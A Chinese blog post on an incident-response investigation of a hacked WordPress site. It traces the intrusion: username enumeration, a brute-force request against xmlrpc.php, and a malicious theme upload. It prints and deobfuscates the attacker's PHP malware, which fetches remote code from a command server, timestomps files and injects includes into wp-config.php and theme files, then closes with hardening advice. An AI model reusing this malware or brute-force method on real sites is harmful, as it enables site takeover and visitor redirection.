从一次应急溯源学习如何攻陷WordPress
从一次应急溯源学习如何攻陷WordPress
九月的某日,安静的群里学长突然惊呼,自己管理的某个WordPress站被攻陷了,需要帮忙协助应急溯源,于是有了本文。本文从流量侧入手,先分析了网站是如何打进来的,再从代码层入手,分析了再被攻陷后的时间内,网站都遭到了什么样的不法侵害。同时,本次的代码分析,也让我看到了国外的Hacker是如何渗透WordPress的,也是收获颇丰。
Hacker是如何打进来的
由于是宝塔搭建的,直接看日志就完事了。首先,根据学长发来的腾讯云通知时间,我定位到了相关的时间点的操作:
一下就发现了:
可以明显的看到,首先攻击者登陆了WordPress,之后利用wp-admin/update.php?action=upload-theme
去上传了个theme
(Wordpress可以利用修改/上传模板来Getshell)
那么现在的问题是,怎么登录的?
于是,我们继续向上回溯,发现了一件很猛的事:
他这边一直在POST xmlrpc
这个文件,并且可以发现,有一次请求是717
,其余的 是426
实际上这是WordPress的一个小问题,可以利用该页面来爆破账户
具体利用如下:
POST /xmlrpc.php HTTP/1.1
Host: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
如果成功,会出现:
那么现在就出现大问题了,网站用户名和密码怎么得到的?
网站用户名可以使用以下接口来获取:
/wp-json/wp/v2/users/
/?rest_route=/wp/v2/users
/?author=1
获取的数据长这样,则admin
就是用户名
[{"id":1,"name":"admin","url":"http:\/\/blog.tysec.top","description":"","link":"http:\/\/blog.tysec.top\/author\/admin\/","slug":"admin","avatar_urls":{"24":"http:\/\/1.gravatar.com\/avatar\/a2445aad29e8064a1d59aa48c6f0b70d?s=24&d=mm&r=g","48":"http:\/\/1.gravatar.com\/avatar\/a2445aad29e8064a1d59aa48c6f0b70d?s=48&d=mm&r=g","96":"http:\/\/1.gravatar.com\/avatar\/a2445aad29e8064a1d59aa48c6f0b70d?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"http:\/\/blog.tysec.top\/wp-json\/wp\/v2\/users\/1"}],"collection":[{"href":"http:\/\/blog.tysec.top\/wp-json\/wp\/v2\/users"}]}}]
注意:可能会出现name与slug后面不一样的情况,这是因为网站管理员改过名
并且sulg
那里如果你的username是带有特殊符号的,可能会把特殊符号删掉。比如:
admin@test.com这个username,在这里的显示就是:admintestcom
而Hacker也是查询了该接口:
当然,我们受害人也把用户名写在了页面上(邮箱地址)
由于隐私保护,图片已经删除
1.利用接口/wp-json/wp/v2/users/
获取username(或是从网站上获取的)
2.利用xmlrpc.php进行无限次数的口令爆破
3.爆破成功后POST该地址,获取到COOKIE
4.携带COOKIE访问wp-admin/update.php?action=upload-theme
并上传恶意的主题
5.访问 wp-content/themes/skeleton-reworked/404.php
来触发恶意代码
那么接下来我们就分析,在上传含有恶意代码的主题后,他们干了什么。
被攻陷后发生的事情
首先,主页被劫持了。
会自动跳转到这里,所以去分析整体发生了什么。
万恶之源404.php
于是我们首先关注什么文件被篡改了,先看起效果的404.php
直接查这个文件是因为学长那边收到腾讯云报毒,说这个文件有问题。
有这么几行吸引了我的注意:
$injectUrl = "http://{$ccd}/files/inject.txt"; //指明需要下载文件的URL
if ( is_writable ( "{$wpPath}/wp-includes") ) {
echo "wp-includes writable\n";
download($injectUrl, "{$wpPath}/wp-includes/header.php"); //调用自写的download函数下载
$lastMtime = filemtime ("{$wpPath}/wp-config.php" ) + rand(1, 1000); //注意这个lastMtime一会儿我们能看到
$wpConfig = file_get_contents("{$wpPath}/wp-config.php")
if (!strpos($wpConfig, $codeWpConfig) !== false) {
$wpConfig = preg_replace('#wp-settings\.php[\'"]{1}\s?\)?;#', "$0\n{$codeWpConfig}\n", $wpConfig, 1); //篡改了wp-config.php
file_put_contents("{$wpPath}/wp-config.php", $wpConfig);
}
else{
echo "wpconfig skipped\n";
其中的download函数如下:
function download($url, $path){
$dir = dirname($path);
$lastMtime = filemtime ($dir);
$fp = fopen($path, "w+");
$ch = curl_init ($url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_FILE, $fp);
curl_exec ($ch);
curl_close ($ch);
fclose($fp);
touch($path, $lastMtime);
touch($dir, $lastMtime);
}
很精明,在写入完成后,在touch一下用的时间是上面获取的时间
touch函数PHP官方如下:
我们可以写一个demo来看一下:
可以看到,目前这个文件创建的时间是:
现在我们尝试使用touch来改变他的时间:
touch("evil.txt","1599747561"); //时间戳可以这么生成 //$mydate='2020-09-10 22:19:21'; //$res = strtotime($mydate); //echo $res;
但实际上,右键属性就会看到这个东西的庐山真面目:
注意一个事,这个不是绝对的,需要具体情况具体分析。
好了,现在header.php
这个文件的时间为什么感觉"没被修改过"的问题终于得到解决了,接下来我们继续看看,他修改了wp-config.php
的什么
$codeWpConfig = "include_once(ABSPATH . WPINC . '/header.php');";
$wpConfig = preg_replace('#wp-settings\.php[\'"]{1}\s?\)?;#', "$0\n{$codeWpConfig}\n", $wpConfig, 1);
file_put_contents("{$wpPath}/wp-config.php", $wpConfig);
wp-config.php被插入了include_once(ABSPATH . WPINC . '/header.php');
这么一段,我们来看一下文件是否果真如此:
果然被插入了这么一句,WPINC
的值为wp-include
所以一切都明了了
接着几乎如出一辙的搞了function.php
$functionsFile = file_get_contents("{$wpPath}/wp-includes/functions.php");
$functionsFileMtime = filemtime ("{$wpPath}/wp-includes/functions.php");
if (strpos($functionsFile, $checkWord) !== false) {
echo "functions.php pass found\n";
if (strpos($functionsFile, $pass) !== false) {
echo "functions.php good pass, skipped\n";
} else{
$functionsFile = preg_replace('#pass = "[^"]*"#', 'pass = "' . $pass . '"', $functionsFile);
echo "functions.php pass replaced\n";
file_put_contents("{$wpPath}/wp-includes/functions.php.old", $functionsFile);
rename("{$wpPath}/wp-includes/functions.php.old", "{$wpPath}/wp-includes/functions.php");
touch("{$wpPath}/wp-includes/functions.php", $functionsFileMtime);
}
}
touch ("{$wpPath}/wp-config.php", $lastMtime);
后面又对{theme}
里面的function
进行了注入:
$themes = findThemes ("{$wpPath}/wp-content/themes");
print_r($themes);
$inject = curlget ($injectUrl);
$inject = str_replace_first('<?php', '', $inject);
$inject = substr($inject, 0, strrpos($inject, "\n"));
foreach($themes as $theme){
$template = file_get_contents("{$theme}/functions.php");
$lastMtime = filemtime ("{$theme}/functions.php");
if (strpos($template, $checkWord) !== false) {
echo "{$theme} pass found\n";
if (strpos($template, $pass) !== false) {
echo "{$theme} good pass, skipped\n";
} else{
$template = preg_replace('#pass = "[^"]+"#', 'pass = "' . $pass . '"', $template);
echo "{$theme} pass replaced\n";
file_put_contents("{$theme}/functions.php.old", $template);
rename("{$theme}/functions.php.old", "{$theme}/functions.php");
touch("{$theme}/functions.php", $lastMtime);
}
}
else {
$template = str_replace_first('<?php', "<?php\n" . $inject, $template);
file_put_contents("{$theme}/functions.php.old", $template);
rename("{$theme}/functions.php.old", "{$theme}/functions.php");
touch("{$theme}/functions.php", $lastMtime);
}
}
最后我们看下,他都注入了哪些文件:
404.php后面的代码更像是个大马?就不再具体分析了,是一些对文件的操作
接下来我们来分析一下,劫持是怎么做到的。
劫持是如何发生的
上面已经分析过了,修改了wp-config.php
,使之包含了一次header.php
,并且注入的代码实际上相同的,那不如我们就只看这一个wp-includes/header.php
文件写入:
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
定位$mtchs
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
提取了$reqw
,定位$reqw
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
混淆了一些,根据这些代码处理一下:
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
得到:
$reqw=get_data_ya(wp_cd(base64_decode(Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==),'wp_function'))
之后运行一下,看下得到什么:
<?php
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
$a=wp_cd(base64_decode("Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ=="),'wp_function');
echo "$a";
?>
小黑子漏出鸡脚了吧,访问之:
看着不对劲,可能是做了判断之类的,重新弄一下:
利用他给出的拉取代码,我们尝试找出拉取了什么:
<?php
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists('wp_cd')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), 'wp_function')); //get_data_ya(wp_cd(base64_decode(Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==),'wp_function'))
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
echo $mtchs[1];
?>
最终得到了
该代码与写入的恶意代码:
一致
注:我们直接访问这个URL和利用get_data_ya的curl访问的效果是不一样的,可见后端做了小小的
分流
,以下是我使用它的curl代码获取到的结果
最后的几行代码,利用文件包含,包含下载下来的恶意执行代码:
$algo = 'default';
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
...
...;$eb = "$dira/";...
...
}
include("{$eb}.$algo");
于是乎,结合上文,我们就弄清了为何第一次访问这个网站会被劫持到另外一个网站上去...
总结
暴露的问题
用户名暴露、用户名接口泄露
xmlrpc.php导致口令爆破
WordPress未能使用真正的强口令,使用的类似于domain+几位连续数字+特殊符号这种组合,导致被成功登陆
攻击流程
- 利用用户名接口进行弱口令爆破
- 登录后立刻找准theme上传接口,上传主题
- 访问404.php,触发恶意代码执行
- 下载header.php到wp-include文件夹,并注入代码到其他文件
function.php
- header.php被wp-config.php包含,触发header.php的恶意代码执行,生成.default文件在某个文件夹下
- 包含该.default文件,实现跳转(.default文件比较简单,判断Ip,第一次访问重定向,第二次就正常。)
整个攻击应该是全程工具化的,非常的专业。
安全修复建议
xmlrpc
手动删除
如果以后手动更新WordPress,可以直接删除xmlrpc.php
这个文件,当然,这会导致你无法使用远程发布文章功能。
.htaccess配置
< Files xmlrpc.php >
order deny,allow
deny from all
< /Files >
主题function
在主题function.php
里加入
add_filter('xmlrpc_enabled', '__return_false');
关闭xmlrpc
插件禁用
- Wordfence security
- All in One WP security & Firewall
- SiteGround Security
都提供了禁用功能
修复接口未授权可获取管理员用户名问题
使用以下代码以修复/wp-json/wp/v2/users/
或是 /?rest_route=/wp/v2/users
来获取管理员用户名问题:
在当前主题的function里添加:
add_filter( 'rest_authentication_errors', function( $result ) {
if ( ! empty( $result ) ) {
return $result;
}
if ( ! is_user_logged_in() ) {
return new WP_Error( 'Access denied', 'You have no permission to handle it.', array( 'status' => 401 ) );
}
return $result;
});
但是仍然存在绕过的可能性,比如访问接口:
/?author=1
会跳转到管理员用户名的一个url,例如:
弱口令
应当为无特征的无规律性的强密码,或采用自己已知含义字符串的MD5值或其他Hash值。
网站修复建议
以下图片中的wp-content
文件夹下主题的部分代码已经被注入,需要重新下载主题文件并覆盖
建议删除黑客上传的恶意主题skeleton-reworked
删除wp-include/header.php
覆盖wp-includes/blocks/video/wp-load.php
删除wp-config.php
里的include_once(ABSPATH . WPINC . '/header.php');